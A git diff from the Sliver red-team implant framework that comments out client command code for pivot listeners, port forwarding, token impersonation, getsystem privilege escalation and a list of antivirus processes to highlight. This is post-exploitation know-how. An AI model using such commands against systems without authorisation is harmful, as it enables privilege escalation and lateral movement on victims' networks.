- operators, err := rpc.GetOperators(context.Background(), &commonpb.Empty{})
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- } else if 0 < len(operators.Operators) {
- displayOperators(operators.Operators)
- } else {
- fmt.Printf(Info + "No remote operators connected\n")
- }
-}
+// func operatorsCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// operators, err := rpc.GetOperators(context.Background(), &commonpb.Empty{})
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// } else if 0 < len(operators.Operators) {
+// displayOperators(operators.Operators)
+// } else {
+// fmt.Printf(Info + "No remote operators connected\n")
+// }
+// }
-func displayOperators(operators []*clientpb.Operator) {
+// func displayOperators(operators []*clientpb.Operator) {
- outputBuf := bytes.NewBufferString("")
- table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+// outputBuf := bytes.NewBufferString("")
+// table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
- // Column Headers
- fmt.Fprintln(table, "Operator\tStatus\t")
- fmt.Fprintf(table, "%s\t%s\t\n",
- strings.Repeat("=", len("Operator")),
- strings.Repeat("=", len("Status")),
- )
+// // Column Headers
+// fmt.Fprintln(table, "Operator\tStatus\t")
+// fmt.Fprintf(table, "%s\t%s\t\n",
+// strings.Repeat("=", len("Operator")),
+// strings.Repeat("=", len("Status")),
+// )
- colorRow := []string{"", ""} // Two uncolored rows for the headers
- for _, operator := range operators {
- // This is the CA, but I guess you could also name an operator
- // "multiplayer" and it'll never show up in the list
- if operator.Name == "multiplayer" {
- continue
- }
- fmt.Fprintf(table, "%s\t%s\t\n", operator.Name, status(operator.Online))
- if operator.Online {
- colorRow = append(colorRow, bold+green)
- } else {
- colorRow = append(colorRow, "")
- }
+// colorRow := []string{"", ""} // Two uncolored rows for the headers
+// for _, operator := range operators {
+// // This is the CA, but I guess you could also name an operator
+// // "multiplayer" and it'll never show up in the list
+// if operator.Name == "multiplayer" {
+// continue
+// }
+// fmt.Fprintf(table, "%s\t%s\t\n", operator.Name, status(operator.Online))
+// if operator.Online {
+// colorRow = append(colorRow, bold+green)
+// } else {
+// colorRow = append(colorRow, "")
+// }
- }
- table.Flush()
+// }
+// table.Flush()
- lines := strings.Split(outputBuf.String(), "\n")
- for lineNumber, line := range lines {
- if len(line) == 0 {
- continue
- }
- fmt.Printf("%s%s%s\n", colorRow[lineNumber], line, normal)
- }
-}
+// lines := strings.Split(outputBuf.String(), "\n")
+// for lineNumber, line := range lines {
+// if len(line) == 0 {
+// continue
+// }
+// fmt.Printf("%s%s%s\n", colorRow[lineNumber], line, normal)
+// }
+// }
-func status(isOnline bool) string {
- if isOnline {
- return "Online"
- }
- return "Offline"
-}
+// func status(isOnline bool) string {
+// if isOnline {
+// return "Online"
+// }
+// return "Offline"
+// }
diff --git a/client/command/pivots.go b/client/command/pivots.go
index b6ba7003e1..8e4b8ab491 100644
--- a/client/command/pivots.go
+++ b/client/command/pivots.go
@@ -1,155 +1,155 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "bytes"
- "context"
- "fmt"
- "strings"
- "text/tabwriter"
-
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/protobuf/commonpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/protobuf/sliverpb"
-
- "github.com/desertbit/grumble"
-)
-
-func namedPipeListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
-
- if session.OS != "windows" {
- fmt.Printf(Warn+"Not implemented for %s\n", session.OS)
- return
- }
-
- pipeName := ctx.Flags.String("name")
-
- if pipeName == "" {
- fmt.Printf(Warn + "-n parameter missing\n")
- return
- }
-
- _, err := rpc.NamedPipes(context.Background(), &sliverpb.NamedPipesReq{
- PipeName: pipeName,
- Request: ActiveSession.Request(ctx),
- })
-
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
-
- fmt.Printf(Info+"Listening on %s", "\\\\.\\pipe\\"+pipeName)
-}
-
-func tcpListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
-
- server := ctx.Flags.String("server")
- lport := uint16(ctx.Flags.Int("lport"))
- address := fmt.Sprintf("%s:%d", server, lport)
-
- _, err := rpc.TCPListener(context.Background(), &sliverpb.TCPPivotReq{
- Address: address,
- Request: ActiveSession.Request(ctx),
- })
-
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
-
- fmt.Printf(Info+"Listening on tcp://%s", address)
-}
-
-func listPivots(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- timeout := ctx.Flags.Int("timeout")
- sessionID := ctx.Flags.String("id")
- if sessionID != "" {
- session := GetSession(sessionID, rpc)
- if session == nil {
- return
- }
- printPivots(session, int64(timeout), rpc)
- } else {
- session := ActiveSession.Get()
- if session != nil {
- printPivots(session, int64(timeout), rpc)
- } else {
- sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
- for _, session := range sessions.Sessions {
- printPivots(session, int64(timeout), rpc)
- }
- }
- }
-}
-
-func printPivots(session *clientpb.Session, timeout int64, rpc rpcpb.SliverRPCClient) {
- pivotList, err := rpc.ListPivots(context.Background(), &sliverpb.PivotListReq{
- Request: &commonpb.Request{
- SessionID: session.ID,
- Timeout: timeout,
- Async: false,
- },
- })
-
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
-
- if pivotList.Response != nil && pivotList.Response.Err != "" {
- fmt.Printf(Warn+"Error: %s", pivotList.Response.Err)
- return
- }
-
- if len(pivotList.Entries) > 0 {
- fmt.Printf(Info+"Session %d\n", session.ID)
- outputBuf := bytes.NewBufferString("")
- table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-
- fmt.Fprintf(table, "type\taddress\t\n")
- fmt.Fprintf(table, "%s\t%s\t\n",
- strings.Repeat("=", len("type")),
- strings.Repeat("=", len("address")),
- )
-
- for _, entry := range pivotList.Entries {
- fmt.Fprintf(table, "%s\t%s\t\n", entry.Type, entry.Remote)
- }
- table.Flush()
- fmt.Printf(outputBuf.String())
- } else {
- fmt.Printf(Info+"No pivots found for session %d\n", session.ID)
- }
-
-}
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2019 Bishop Fox
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
+
+// import (
+// "bytes"
+// "context"
+// "fmt"
+// "strings"
+// "text/tabwriter"
+
+// "github.com/bishopfox/sliver/protobuf/clientpb"
+// "github.com/bishopfox/sliver/protobuf/commonpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/bishopfox/sliver/protobuf/sliverpb"
+
+// "github.com/desertbit/grumble"
+// )
+
+// func namedPipeListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
+
+// if session.OS != "windows" {
+// fmt.Printf(Warn+"Not implemented for %s\n", session.OS)
+// return
+// }
+
+// pipeName := ctx.Flags.String("name")
+
+// if pipeName == "" {
+// fmt.Printf(Warn + "-n parameter missing\n")
+// return
+// }
+
+// _, err := rpc.NamedPipes(context.Background(), &sliverpb.NamedPipesReq{
+// PipeName: pipeName,
+// Request: ActiveSession.Request(ctx),
+// })
+
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+
+// fmt.Printf(Info+"Listening on %s", "\\\\.\\pipe\\"+pipeName)
+// }
+
+// func tcpListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
+
+// server := ctx.Flags.String("server")
+// lport := uint16(ctx.Flags.Int("lport"))
+// address := fmt.Sprintf("%s:%d", server, lport)
+
+// _, err := rpc.TCPListener(context.Background(), &sliverpb.TCPPivotReq{
+// Address: address,
+// Request: ActiveSession.Request(ctx),
+// })
+
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+
+// fmt.Printf(Info+"Listening on tcp://%s", address)
+// }
+
+// func listPivots(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// timeout := ctx.Flags.Int("timeout")
+// sessionID := ctx.Flags.String("id")
+// if sessionID != "" {
+// session := GetSession(sessionID, rpc)
+// if session == nil {
+// return
+// }
+// printPivots(session, int64(timeout), rpc)
+// } else {
+// session := ActiveSession.Get()
+// if session != nil {
+// printPivots(session, int64(timeout), rpc)
+// } else {
+// sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+// for _, session := range sessions.Sessions {
+// printPivots(session, int64(timeout), rpc)
+// }
+// }
+// }
+// }
+
+// func printPivots(session *clientpb.Session, timeout int64, rpc rpcpb.SliverRPCClient) {
+// pivotList, err := rpc.ListPivots(context.Background(), &sliverpb.PivotListReq{
+// Request: &commonpb.Request{
+// SessionID: session.ID,
+// Timeout: timeout,
+// Async: false,
+// },
+// })
+
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+
+// if pivotList.Response != nil && pivotList.Response.Err != "" {
+// fmt.Printf(Warn+"Error: %s", pivotList.Response.Err)
+// return
+// }
+
+// if len(pivotList.Entries) > 0 {
+// fmt.Printf(Info+"Session %d\n", session.ID)
+// outputBuf := bytes.NewBufferString("")
+// table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+// fmt.Fprintf(table, "type\taddress\t\n")
+// fmt.Fprintf(table, "%s\t%s\t\n",
+// strings.Repeat("=", len("type")),
+// strings.Repeat("=", len("address")),
+// )
+
+// for _, entry := range pivotList.Entries {
+// fmt.Fprintf(table, "%s\t%s\t\n", entry.Type, entry.Remote)
+// }
+// table.Flush()
+// fmt.Printf(outputBuf.String())
+// } else {
+// fmt.Printf(Info+"No pivots found for session %d\n", session.ID)
+// }
+
+// }
diff --git a/client/command/portfwd.go b/client/command/portfwd.go
index 21662a5c98..461521ea69 100644
--- a/client/command/portfwd.go
+++ b/client/command/portfwd.go
@@ -1,127 +1,127 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2021 Bishop Fox
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2021 Bishop Fox
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
-import (
- "bytes"
- "fmt"
- "log"
- "net"
- "sort"
- "strings"
- "text/tabwriter"
- "time"
+// import (
+// "bytes"
+// "fmt"
+// "log"
+// "net"
+// "sort"
+// "strings"
+// "text/tabwriter"
+// "time"
- "github.com/bishopfox/sliver/client/core"
- "github.com/bishopfox/sliver/client/tcpproxy"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/desertbit/grumble"
-)
+// "github.com/bishopfox/sliver/client/core"
+// "github.com/bishopfox/sliver/client/tcpproxy"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/desertbit/grumble"
+// )
-func portfwd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- portfwds := core.Portfwds.List()
- if len(portfwds) == 0 {
- fmt.Printf(Info + "No port forwards\n")
- return
- }
- sort.Slice(portfwds[:], func(i, j int) bool {
- return portfwds[i].ID < portfwds[j].ID
- })
- outputBuf := bytes.NewBufferString("")
- table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
- fmt.Fprintf(table, "ID\tSession ID\tBind Address\tRemote Address\t\n")
- fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
- strings.Repeat("=", len("ID")),
- strings.Repeat("=", len("Session ID")),
- strings.Repeat("=", len("Bind Address")),
- strings.Repeat("=", len("Remote Address")),
- )
- for _, p := range portfwds {
- fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", p.ID, p.SessionID, p.BindAddr, p.RemoteAddr)
- }
- table.Flush()
- fmt.Printf("%s", outputBuf.String())
-}
+// func portfwd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// portfwds := core.Portfwds.List()
+// if len(portfwds) == 0 {
+// fmt.Printf(Info + "No port forwards\n")
+// return
+// }
+// sort.Slice(portfwds[:], func(i, j int) bool {
+// return portfwds[i].ID < portfwds[j].ID
+// })
+// outputBuf := bytes.NewBufferString("")
+// table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+// fmt.Fprintf(table, "ID\tSession ID\tBind Address\tRemote Address\t\n")
+// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
+// strings.Repeat("=", len("ID")),
+// strings.Repeat("=", len("Session ID")),
+// strings.Repeat("=", len("Bind Address")),
+// strings.Repeat("=", len("Remote Address")),
+// )
+// for _, p := range portfwds {
+// fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", p.ID, p.SessionID, p.BindAddr, p.RemoteAddr)
+// }
+// table.Flush()
+// fmt.Printf("%s", outputBuf.String())
+// }
-func portfwdAdd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
- if session.GetActiveC2() == "dns" {
- fmt.Printf(Warn + "Current C2 is DNS, this is going to be a very slow tunnel!\n")
- }
- if session.Transport == "wg" {
- fmt.Printf(Warn + "Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
- }
- remoteAddr := ctx.Flags.String("remote")
- if remoteAddr == "" {
- fmt.Println(Warn + "Must specify a remote target host:port")
- return
- }
- remoteHost, remotePort, err := net.SplitHostPort(remoteAddr)
- if err != nil {
- fmt.Print(Warn+"Failed to parse remote target %s\n", err)
- return
- }
- if remotePort == "3389" {
- fmt.Print(Warn + "RDP is unstable over tunneled portfwds, we recommend using WireGuard portfwds\n")
- }
- bindAddr := ctx.Flags.String("bind")
- if remoteAddr == "" {
- fmt.Println(Warn + "Must specify a bind target host:port")
- return
- }
+// func portfwdAdd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
+// if session.GetActiveC2() == "dns" {
+// fmt.Printf(Warn + "Current C2 is DNS, this is going to be a very slow tunnel!\n")
+// }
+// if session.Transport == "wg" {
+// fmt.Printf(Warn + "Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
+// }
+// remoteAddr := ctx.Flags.String("remote")
+// if remoteAddr == "" {
+// fmt.Println(Warn + "Must specify a remote target host:port")
+// return
+// }
+// remoteHost, remotePort, err := net.SplitHostPort(remoteAddr)
+// if err != nil {
+// fmt.Print(Warn+"Failed to parse remote target %s\n", err)
+// return
+// }
+// if remotePort == "3389" {
+// fmt.Print(Warn + "RDP is unstable over tunneled portfwds, we recommend using WireGuard portfwds\n")
+// }
+// bindAddr := ctx.Flags.String("bind")
+// if remoteAddr == "" {
+// fmt.Println(Warn + "Must specify a bind target host:port")
+// return
+// }
- tcpProxy := &tcpproxy.Proxy{}
- channelProxy := &core.ChannelProxy{
- Rpc: rpc,
- Session: session,
- RemoteAddr: remoteAddr,
- BindAddr: bindAddr,
- KeepAlivePeriod: 60 * time.Second,
- DialTimeout: 30 * time.Second,
- }
- tcpProxy.AddRoute(bindAddr, channelProxy)
- core.Portfwds.Add(tcpProxy, channelProxy)
+// tcpProxy := &tcpproxy.Proxy{}
+// channelProxy := &core.ChannelProxy{
+// Rpc: rpc,
+// Session: session,
+// RemoteAddr: remoteAddr,
+// BindAddr: bindAddr,
+// KeepAlivePeriod: 60 * time.Second,
+// DialTimeout: 30 * time.Second,
+// }
+// tcpProxy.AddRoute(bindAddr, channelProxy)
+// core.Portfwds.Add(tcpProxy, channelProxy)
- go func() {
- err := tcpProxy.Run()
- if err != nil {
- // fmt.Printf("\r\n"+Warn+"Proxy error %s\n", err)
- log.Printf("Proxy error %s", err)
- }
- }()
+// go func() {
+// err := tcpProxy.Run()
+// if err != nil {
+// // fmt.Printf("\r\n"+Warn+"Proxy error %s\n", err)
+// log.Printf("Proxy error %s", err)
+// }
+// }()
- fmt.Printf(Info+"Port forwarding %s -> %s:%s\n", bindAddr, remoteHost, remotePort)
-}
+// fmt.Printf(Info+"Port forwarding %s -> %s:%s\n", bindAddr, remoteHost, remotePort)
+// }
-func portfwdRm(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- portfwdID := ctx.Flags.Int("id")
- if portfwdID < 1 {
- fmt.Println(Warn + "Must specify a valid portfwd id")
- return
- }
- found := core.Portfwds.Remove(portfwdID)
- if !found {
- fmt.Printf(Warn+"No portfwd with id %d\n", portfwdID)
- } else {
- fmt.Println(Info + "Removed portfwd")
- }
-}
+// func portfwdRm(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// portfwdID := ctx.Flags.Int("id")
+// if portfwdID < 1 {
+// fmt.Println(Warn + "Must specify a valid portfwd id")
+// return
+// }
+// found := core.Portfwds.Remove(portfwdID)
+// if !found {
+// fmt.Printf(Warn+"No portfwd with id %d\n", portfwdID)
+// } else {
+// fmt.Println(Info + "Removed portfwd")
+// }
+// }
diff --git a/client/command/priv.go b/client/command/priv.go
index 7b7cf5ca26..1fc7582870 100644
--- a/client/command/priv.go
+++ b/client/command/priv.go
@@ -1,177 +1,177 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2021 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "context"
- "fmt"
-
- "github.com/bishopfox/sliver/client/spin"
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/protobuf/sliverpb"
- "github.com/desertbit/grumble"
-)
-
-func runAs(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.Get()
- if session == nil {
- return
- }
- username := ctx.Flags.String("username")
- process := ctx.Flags.String("process")
- arguments := ctx.Flags.String("args")
-
- if username == "" {
- fmt.Printf(Warn + "please specify a username\n")
- return
- }
-
- if process == "" {
- fmt.Printf(Warn + "please specify a process path\n")
- return
- }
-
- runAsResp, err := rpc.RunAs(context.Background(), &sliverpb.RunAsReq{
- Request: ActiveSession.Request(ctx),
- Username: username,
- ProcessName: process,
- Args: arguments,
- })
-
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
-
- if runAsResp.GetResponse().GetErr() != "" {
- fmt.Printf(Warn+"Error: %s\n", runAsResp.GetResponse().GetErr())
- return
- }
-
- fmt.Printf(Info+"Successfully ran %s %s on %s\n", process, arguments, session.GetName())
-}
-
-func impersonate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.Get()
- if session == nil {
- return
- }
- username := ctx.Args.String("username")
- impResp, err := rpc.Impersonate(context.Background(), &sliverpb.ImpersonateReq{
- Request: ActiveSession.Request(ctx),
- Username: username,
- })
-
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
- if impResp.GetResponse().GetErr() != "" {
- fmt.Printf(Warn+"Error: %s\n", impResp.GetResponse().GetErr())
- return
- }
- fmt.Printf(Info+"Successfully impersonated %s\n", username)
-}
-
-func revToSelf(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.Get()
- if session == nil {
- return
- }
- _, err := rpc.RevToSelf(context.Background(), &sliverpb.RevToSelfReq{
- Request: ActiveSession.Request(ctx),
- })
-
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
- fmt.Printf(Info + "Back to self...")
-}
-
-func getsystem(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.Get()
- if session == nil {
- return
- }
- process := ctx.Flags.String("process")
- config := getActiveSliverConfig()
- ctrl := make(chan bool)
- go spin.Until("Attempting to create a new sliver session as 'NT AUTHORITY\\SYSTEM'...", ctrl)
-
- getsystemResp, err := rpc.GetSystem(context.Background(), &clientpb.GetSystemReq{
- Request: ActiveSession.Request(ctx),
- Config: config,
- HostingProcess: process,
- })
-
- ctrl <- true
- <-ctrl
-
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
- if getsystemResp.GetResponse().GetErr() != "" {
- fmt.Printf(Warn+"Error: %s\n", getsystemResp.GetResponse().GetErr())
- return
- }
- fmt.Printf("\n" + Info + "A new SYSTEM session should pop soon...\n")
-}
-
-func makeToken(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.Get()
- if session == nil {
- return
- }
- username := ctx.Flags.String("username")
- password := ctx.Flags.String("password")
- domain := ctx.Flags.String("domain")
-
- if username == "" || password == "" {
- fmt.Printf(Warn + "You must provide a username and password\n")
- return
- }
-
- ctrl := make(chan bool)
- go spin.Until("Creating new logon session ...", ctrl)
-
- makeToken, err := rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
- Request: ActiveSession.Request(ctx),
- Username: username,
- Domain: domain,
- Password: password,
- })
-
- ctrl <- true
- <-ctrl
-
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
-
- if makeToken.GetResponse().GetErr() != "" {
-
- fmt.Printf(Warn+"Error: %s\n", makeToken.GetResponse().GetErr())
- return
- }
- fmt.Printf("\n"+Info+"Successfully impersonated %s\\%s. Use `rev2self` to revert to your previous token.", domain, username)
-}
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2021 Bishop Fox
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
+
+// import (
+// "context"
+// "fmt"
+
+// "github.com/bishopfox/sliver/client/spin"
+// "github.com/bishopfox/sliver/protobuf/clientpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/bishopfox/sliver/protobuf/sliverpb"
+// "github.com/desertbit/grumble"
+// )
+
+// func runAs(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.Get()
+// if session == nil {
+// return
+// }
+// username := ctx.Flags.String("username")
+// process := ctx.Flags.String("process")
+// arguments := ctx.Flags.String("args")
+
+// if username == "" {
+// fmt.Printf(Warn + "please specify a username\n")
+// return
+// }
+
+// if process == "" {
+// fmt.Printf(Warn + "please specify a process path\n")
+// return
+// }
+
+// runAsResp, err := rpc.RunAs(context.Background(), &sliverpb.RunAsReq{
+// Request: ActiveSession.Request(ctx),
+// Username: username,
+// ProcessName: process,
+// Args: arguments,
+// })
+
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+
+// if runAsResp.GetResponse().GetErr() != "" {
+// fmt.Printf(Warn+"Error: %s\n", runAsResp.GetResponse().GetErr())
+// return
+// }
+
+// fmt.Printf(Info+"Successfully ran %s %s on %s\n", process, arguments, session.GetName())
+// }
+
+// func impersonate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.Get()
+// if session == nil {
+// return
+// }
+// username := ctx.Args.String("username")
+// impResp, err := rpc.Impersonate(context.Background(), &sliverpb.ImpersonateReq{
+// Request: ActiveSession.Request(ctx),
+// Username: username,
+// })
+
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+// if impResp.GetResponse().GetErr() != "" {
+// fmt.Printf(Warn+"Error: %s\n", impResp.GetResponse().GetErr())
+// return
+// }
+// fmt.Printf(Info+"Successfully impersonated %s\n", username)
+// }
+
+// func revToSelf(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.Get()
+// if session == nil {
+// return
+// }
+// _, err := rpc.RevToSelf(context.Background(), &sliverpb.RevToSelfReq{
+// Request: ActiveSession.Request(ctx),
+// })
+
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+// fmt.Printf(Info + "Back to self...")
+// }
+
+// func getsystem(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.Get()
+// if session == nil {
+// return
+// }
+// process := ctx.Flags.String("process")
+// config := getActiveSliverConfig()
+// ctrl := make(chan bool)
+// go spin.Until("Attempting to create a new sliver session as 'NT AUTHORITY\\SYSTEM'...", ctrl)
+
+// getsystemResp, err := rpc.GetSystem(context.Background(), &clientpb.GetSystemReq{
+// Request: ActiveSession.Request(ctx),
+// Config: config,
+// HostingProcess: process,
+// })
+
+// ctrl <- true
+// <-ctrl
+
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+// if getsystemResp.GetResponse().GetErr() != "" {
+// fmt.Printf(Warn+"Error: %s\n", getsystemResp.GetResponse().GetErr())
+// return
+// }
+// fmt.Printf("\n" + Info + "A new SYSTEM session should pop soon...\n")
+// }
+
+// func makeToken(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.Get()
+// if session == nil {
+// return
+// }
+// username := ctx.Flags.String("username")
+// password := ctx.Flags.String("password")
+// domain := ctx.Flags.String("domain")
+
+// if username == "" || password == "" {
+// fmt.Printf(Warn + "You must provide a username and password\n")
+// return
+// }
+
+// ctrl := make(chan bool)
+// go spin.Until("Creating new logon session ...", ctrl)
+
+// makeToken, err := rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
+// Request: ActiveSession.Request(ctx),
+// Username: username,
+// Domain: domain,
+// Password: password,
+// })
+
+// ctrl <- true
+// <-ctrl
+
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+
+// if makeToken.GetResponse().GetErr() != "" {
+
+// fmt.Printf(Warn+"Error: %s\n", makeToken.GetResponse().GetErr())
+// return
+// }
+// fmt.Printf("\n"+Info+"Successfully impersonated %s\\%s. Use `rev2self` to revert to your previous token.", domain, username)
+// }
diff --git a/client/command/proc.go b/client/command/proc.go
index 22cc5b4580..9622cc3b20 100644
--- a/client/command/proc.go
+++ b/client/command/proc.go
@@ -1,252 +1,252 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "bytes"
- "context"
- "fmt"
- "io/ioutil"
- "path"
- "strings"
- "text/tabwriter"
-
- // "time"
-
- "github.com/bishopfox/sliver/client/spin"
- "github.com/bishopfox/sliver/protobuf/commonpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/protobuf/sliverpb"
-
- "github.com/desertbit/grumble"
-)
-
-var (
- // Stylizes known processes in the `ps` command
- knownProcs = map[string]string{
- "ccSvcHst.exe": red, // SEP
- "cb.exe": red, // Carbon Black
- "MsMpEng.exe": red, // Windows Defender
- "smartscreen.exe": red, // Windows Defender Smart Screen
- }
-)
-
